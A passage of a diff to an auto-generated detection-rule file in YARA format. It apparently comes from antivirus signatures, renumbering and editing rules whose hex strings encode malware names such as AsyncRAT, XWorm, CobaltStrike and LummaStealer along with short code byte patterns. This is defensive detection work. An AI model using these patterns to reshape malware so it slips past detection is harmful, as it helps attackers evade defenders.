1)*18467+(#a_52_1 & 1)*21320) >=2 } -rule _InfrastructureShared_4034{ +rule _InfrastructureShared_4183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -41662,7 +43197,7 @@ rule _InfrastructureShared_4034{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*19539) >=2 } -rule _InfrastructureShared_4035{ +rule _InfrastructureShared_4184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -41672,7 +43207,7 @@ rule _InfrastructureShared_4035{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_4036{ +rule _InfrastructureShared_4185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -41680,12 +43215,12 @@ rule _InfrastructureShared_4036{ $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 06 01 68 37 7e 13 a4 e8 01 00 05 01 68 44 6a 01 b9 01 00 05 01 68 b3 26 b8 77 01 00 05 01 68 ac c8 33 2e 02 00 07 01 53 4e 46 49 52 4e 57 00 00 78 53 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 61 72 4f 6e 65 2e 42 21 64 } //25635 $a_44_2 = {46 } //9728 F $a_f1_3 = {83 e1 01 49 83 fe 01 75 04 31 c9 eb 49 4d 29 ce 40 80 c6 76 40 0f b6 c6 41 0f b6 d0 31 c9 00 00 78 53 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 69 76 64 6f 72 74 2e 42 00 01 00 0e 01 f3 0f 5c c8 f3 0f 5c d1 f3 0f 2c c2 66 a3 01 00 07 01 8b f0 56 66 0f 6e c1 01 00 08 01 c9 fc 41 c1 e1 03 4b d3 00 00 78 53 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 41 } //17781 - $a_41_4 = {74 72 4d 73 69 6c 5f 39 46 43 44 39 45 35 41 00 01 00 0e 01 67 65 74 5f 53 61 76 65 4d 79 53 65 74 74 01 00 0a 01 72 43 6f 6c 6f 72 53 63 68 65 01 00 0a 01 65 72 43 6f 6c 6f 72 53 63 68 00 00 78 53 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 45 41 45 44 21 4d 54 42 00 05 } //29813 + $a_41_4 = {74 72 4d 73 69 6c 5f 39 46 43 44 39 45 35 41 00 01 00 0e 01 67 65 74 5f 53 61 76 65 4d 79 53 65 74 74 01 00 0a 01 72 43 6f 6c 6f 72 53 63 68 65 01 00 0a 01 65 72 43 6f 6c 6f 72 53 63 68 00 00 78 53 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 49 6e 6a 65 63 74 6f 72 2e 45 41 57 41 21 4d 54 42 00 05 } //29813 condition: ((#a_5f_0 & 1)*25635+(#a_44_2 & 1)*9728+(#a_f1_3 & 1)*17781+(#a_41_4 & 1)*29813) >=2 } -rule _InfrastructureShared_4037{ +rule _InfrastructureShared_4186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -41695,7 +43230,7 @@ rule _InfrastructureShared_4037{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_4038{ +rule _InfrastructureShared_4187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -41706,28 +43241,18 @@ rule _InfrastructureShared_4038{ ((#a_46_0 & 1)*16675+(#a_48_2 & 1)*8448) >=3 } -rule _InfrastructureShared_4039{ +rule _InfrastructureShared_4188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 41 75 74 6f 41 74 74 72 4d 73 69 6c 5f 39 46 43 44 39 45 35 41 00 01 00 0e 01 67 65 74 5f 53 61 76 65 4d 79 53 65 74 74 01 00 0a 01 72 43 6f 6c 6f 72 53 63 68 65 01 00 0a 01 65 72 43 6f 6c 6f 72 53 63 68 00 00 78 53 00 00 05 00 05 00 01 00 21 23 } //18467 - $a_3a_1 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 45 41 45 44 21 4d 54 42 00 05 00 23 01 03 06 02 28 45 00 00 06 06 02 28 45 00 00 06 8e 69 5d 91 03 06 91 61 d2 9c 06 17 58 0a 06 03 8e 69 32 dd 00 00 } //19521 + $a_3a_1 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 49 6e 6a 65 63 74 6f 72 2e 45 41 57 41 21 4d 54 42 00 05 00 23 01 03 0a 14 0b 17 0c 2b 0d 03 6f 27 00 00 0a 25 26 26 08 17 58 0c 08 1a 32 ef 1b 45 01 00 00 00 f6 ff ff ff 00 00 } //19521 condition: ((#a_54_0 & 1)*18467+(#a_3a_1 & 1)*19521) >=3 } -rule _InfrastructureShared_4040{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 45 41 45 44 21 4d 54 42 00 05 00 23 01 03 06 02 28 45 00 00 06 06 02 28 45 00 00 06 8e 69 5d 91 03 06 91 61 d2 9c 06 17 58 0a 06 03 8e 69 32 dd 00 00 78 53 00 00 05 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=5 - -} -rule _InfrastructureShared_4041{ +rule _InfrastructureShared_4189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -41737,7 +43262,7 @@ rule _InfrastructureShared_4041{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_4042{ +rule _InfrastructureShared_4190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -41747,18 +43272,17 @@ rule _InfrastructureShared_4042{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_4043{ +rule _InfrastructureShared_4191{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 50 47 54 21 4d 54 42 00 01 00 17 01 4d 00 79 00 53 00 74 00 61 00 72 00 74 00 75 00 70 00 41 00 70 00 70 04 00 0c 01 30 01 48 8d 49 01 48 83 eb 01 75 f4 } //21539 - $a_53_1 = {00 0a 00 0a 00 01 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 75 62 6c 65 43 68 6f 63 2e 41 21 64 68 61 00 0a 00 20 42 39 7d fc 74 7a e8 90 01 04 6a 40 68 00 10 00 00 68 00 00 50 00 57 ff 15 90 01 04 50 ff 15 90 00 00 00 78 53 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 6f 75 62 } //0 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 72 79 73 2e 50 47 42 21 4d 54 42 00 05 00 26 03 30 f7 30 01 31 1e 31 26 31 57 31 5c 31 6f 31 a8 31 b4 31 ba ?? ?? ?? ?? 31 ed 31 f3 31 02 32 44 32 52 32 63 32 } //21539 condition: - ((#a_4c_0 & 1)*21539+(#a_53_1 & 1)*0) >=5 + ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_4044{ +rule _InfrastructureShared_4192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -41768,7 +43292,7 @@ rule _InfrastructureShared_4044{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_4045{ +rule _InfrastructureShared_4193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -41778,37 +43302,17 @@ rule _InfrastructureShared_4045{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_4046{ +rule _InfrastructureShared_4194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " strings : - $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 76 44 4c 43 61 6c 6c 2e 41 00 0a 00 27 03 89 58 01 c6 00 bf 8b 85 90 01 04 89 1c 90 01 01 89 44 90 01 02 8d 46 05 89 44 90 01 02 e8 90 01 02 ff ff ff d6 90 00 00 00 78 53 00 00 0a 00 0a 00 01 00 21 23 } //18467 + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 76 44 4c 43 61 6c 6c 2e 41 00 0a 00 27 03 89 58 01 c6 00 bf 8b 85 90 01 04 89 1c 90 01 01 89 44 90 01 02 8d 46 05 89 44 90 01 02 e8 90 01 02 ff ff ff d6 90 00 00 00 78 53 00 00 0a 00 0a 00 02 00 21 23 } //18467 condition: ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_4047{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 72 79 73 2e 50 47 41 21 4d 54 42 00 0a 00 26 03 8b 45 ec 89 45 ec 8b 4d 10 89 4d f0 ?? ?? 8b 55 f0 83 c2 ?? 89 55 f0 8b 45 10 05 ?? ?? ?? ?? 39 45 f0 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=10 - -} -rule _InfrastructureShared_4048{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 50 47 4c 21 4d 54 42 00 0a 00 1f 03 09 ca 21 f2 89 d1 f7 d1 83 e1 ?? 83 f2 ?? 8d 0c 4a 88 8c 04 ?? ?? ?? ?? 40 3d } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=10 - -} -rule _InfrastructureShared_4049{ +rule _InfrastructureShared_4195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -41818,7 +43322,7 @@ rule _InfrastructureShared_4049{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_4050{ +rule _InfrastructureShared_4196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -41829,7 +43333,7 @@ rule _InfrastructureShared_4050{ ((#a_6c_0 & 1)*16675+(#a_42_1 & 1)*19745) >=10 } -rule _InfrastructureShared_4051{ +rule _InfrastructureShared_4197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -41840,7 +43344,7 @@ rule _InfrastructureShared_4051{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*21320) >=10 } -rule _InfrastructureShared_4052{ +rule _InfrastructureShared_4198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -41852,7 +43356,7 @@ rule _InfrastructureShared_4052{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*21320+(#a_54_2 & 1)*21076) >=11 } -rule _InfrastructureShared_4053{ +rule _InfrastructureShared_4199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " @@ -41863,7 +43367,7 @@ rule _InfrastructureShared_4053{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*21320) >=15 } -rule _InfrastructureShared_4054{ +rule _InfrastructureShared_4200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " @@ -41874,7 +43378,7 @@ rule _InfrastructureShared_4054{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*17748) >=15 } -rule _InfrastructureShared_4055{ +rule _InfrastructureShared_4201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 04 00 21 " @@ -41887,7 +43391,7 @@ rule _InfrastructureShared_4055{ ((#a_4c_0 & 1)*21539+(#a_53_1 & 1)*0+(#a_6f_2 & 1)*8515+(#a_72_3 & 1)*17199) >=40 } -rule _InfrastructureShared_4056{ +rule _InfrastructureShared_4202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -41897,7 +43401,7 @@ rule _InfrastructureShared_4056{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_4057{ +rule _InfrastructureShared_4203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -41908,7 +43412,7 @@ rule _InfrastructureShared_4057{ ((#a_63_0 & 1)*16931+(#a_34_1 & 1)*28265) >=200 } -rule _InfrastructureShared_4058{ +rule _InfrastructureShared_4204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41918,7 +43422,7 @@ rule _InfrastructureShared_4058{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4059{ +rule _InfrastructureShared_4205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41928,7 +43432,7 @@ rule _InfrastructureShared_4059{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4060{ +rule _InfrastructureShared_4206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41938,7 +43442,7 @@ rule _InfrastructureShared_4060{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4061{ +rule _InfrastructureShared_4207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41948,7 +43452,7 @@ rule _InfrastructureShared_4061{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4062{ +rule _InfrastructureShared_4208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41958,7 +43462,7 @@ rule _InfrastructureShared_4062{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4063{ +rule _InfrastructureShared_4209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41968,7 +43472,7 @@ rule _InfrastructureShared_4063{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4064{ +rule _InfrastructureShared_4210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41978,7 +43482,7 @@ rule _InfrastructureShared_4064{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4065{ +rule _InfrastructureShared_4211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41988,7 +43492,7 @@ rule _InfrastructureShared_4065{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4066{ +rule _InfrastructureShared_4212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41998,7 +43502,7 @@ rule _InfrastructureShared_4066{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4067{ +rule _InfrastructureShared_4213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42008,7 +43512,7 @@ rule _InfrastructureShared_4067{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4068{ +rule _InfrastructureShared_4214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42018,7 +43522,7 @@ rule _InfrastructureShared_4068{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4069{ +rule _InfrastructureShared_4215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42028,7 +43532,7 @@ rule _InfrastructureShared_4069{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4070{ +rule _InfrastructureShared_4216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42038,7 +43542,7 @@ rule _InfrastructureShared_4070{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4071{ +rule _InfrastructureShared_4217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42048,7 +43552,17 @@ rule _InfrastructureShared_4071{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4072{ +rule _InfrastructureShared_4218{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6c 6f 77 47 61 6d 62 6c 65 72 2e 41 21 64 68 61 00 01 00 21 01 11 04 17 58 13 04 11 04 17 59 13 04 11 04 17 58 13 04 11 04 17 58 13 04 11 04 20 80 96 98 00 31 df 00 00 78 54 00 00 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_4219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42058,7 +43572,7 @@ rule _InfrastructureShared_4072{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4073{ +rule _InfrastructureShared_4220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42068,7 +43582,7 @@ rule _InfrastructureShared_4073{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_4074{ +rule _InfrastructureShared_4221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42078,7 +43592,7 @@ rule _InfrastructureShared_4074{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_4075{ +rule _InfrastructureShared_4222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42088,7 +43602,7 @@ rule _InfrastructureShared_4075{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4076{ +rule _InfrastructureShared_4223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42098,7 +43612,7 @@ rule _InfrastructureShared_4076{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4077{ +rule _InfrastructureShared_4224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42108,7 +43622,7 @@ rule _InfrastructureShared_4077{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4078{ +rule _InfrastructureShared_4225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42118,7 +43632,7 @@ rule _InfrastructureShared_4078{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4079{ +rule _InfrastructureShared_4226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42128,7 +43642,17 @@ rule _InfrastructureShared_4079{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4080{ +rule _InfrastructureShared_4227{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 50 72 6f 6e 74 6f 42 69 6e 52 65 73 63 61 6e 2e 41 00 01 00 2f 03 48 8b c5 48 c1 e8 02 46 32 94 30 90 01 04 41 8d 40 f0 41 ff c3 0f b6 04 08 48 ff c5 41 32 c2 41 88 41 fe 41 8d 40 f1 0f b6 04 08 32 c3 90 00 00 00 78 54 00 00 01 00 01 00 01 00 21 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_4228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42138,7 +43662,7 @@ rule _InfrastructureShared_4080{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4081{ +rule _InfrastructureShared_4229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42148,7 +43672,17 @@ rule _InfrastructureShared_4081{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4082{ +rule _InfrastructureShared_4230{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 41 54 59 45 21 4d 54 42 00 01 00 26 01 b1 07 80 f1 55 48 8d 5b 01 49 3b d0 73 1f 48 8d 42 01 48 89 45 97 48 8d 45 87 49 83 f8 0f 48 0f 47 45 87 88 0c 10 00 00 78 54 00 00 01 00 01 00 01 00 21 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_4231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42158,7 +43692,7 @@ rule _InfrastructureShared_4082{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4083{ +rule _InfrastructureShared_4232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42168,7 +43702,7 @@ rule _InfrastructureShared_4083{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4084{ +rule _InfrastructureShared_4233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42178,7 +43712,7 @@ rule _InfrastructureShared_4084{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4085{ +rule _InfrastructureShared_4234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42188,7 +43722,7 @@ rule _InfrastructureShared_4085{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4086{ +rule _InfrastructureShared_4235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42198,7 +43732,7 @@ rule _InfrastructureShared_4086{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4087{ +rule _InfrastructureShared_4236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42208,7 +43742,7 @@ rule _InfrastructureShared_4087{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4088{ +rule _InfrastructureShared_4237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42218,7 +43752,7 @@ rule _InfrastructureShared_4088{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4089{ +rule _InfrastructureShared_4238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42228,7 +43762,7 @@ rule _InfrastructureShared_4089{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4090{ +rule _InfrastructureShared_4239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42238,7 +43772,17 @@ rule _InfrastructureShared_4090{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_4091{ +rule _InfrastructureShared_4240{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 42 56 21 4d 54 42 00 01 00 26 03 7e f5 00 00 04 20 80 75 4e f6 65 20 dd 28 e6 78 59 20 a3 61 cb 90 01 01 61 7d ff 00 00 04 20 3a 00 00 00 38 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42248,7 +43792,17 @@ rule _InfrastructureShared_4091{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4092{ +rule _InfrastructureShared_4242{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 41 48 21 4d 54 42 00 01 00 29 01 20 e1 2b ad de 20 56 eb 52 21 61 66 20 03 00 00 00 63 20 d9 8b 4a 12 66 20 01 00 00 00 63 20 f4 45 25 09 58 20 1b 5e e1 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42258,7 +43812,17 @@ rule _InfrastructureShared_4092{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4093{ +rule _InfrastructureShared_4244{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 59 54 52 21 4d 54 42 00 01 00 20 01 8a 8c 05 dc fc ff ff 80 f1 32 88 8c 05 dc fc ff ff 88 8c 05 bc f9 ff ff 40 3d 1f 03 00 00 72 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42268,7 +43832,7 @@ rule _InfrastructureShared_4093{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4094{ +rule _InfrastructureShared_4246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42278,7 +43842,7 @@ rule _InfrastructureShared_4094{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4095{ +rule _InfrastructureShared_4247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42288,7 +43852,17 @@ rule _InfrastructureShared_4095{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4096{ +rule _InfrastructureShared_4248{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4a 61 6c 61 70 65 6e 6f 2e 41 42 21 4d 54 42 00 01 00 25 01 41 0f b7 09 48 b8 c5 4e ec c4 4e ec c4 4e 48 f7 e1 48 c1 ea 04 48 6b c2 34 48 2b c8 0f b7 44 4c 20 66 41 89 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42298,7 +43872,7 @@ rule _InfrastructureShared_4096{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4097{ +rule _InfrastructureShared_4250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -42308,17 +43882,27 @@ rule _InfrastructureShared_4097{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4098{ +rule _InfrastructureShared_4251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_6f_0 = {61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 5a 31 00 01 00 2c 02 01 25 16 28 90 01 03 06 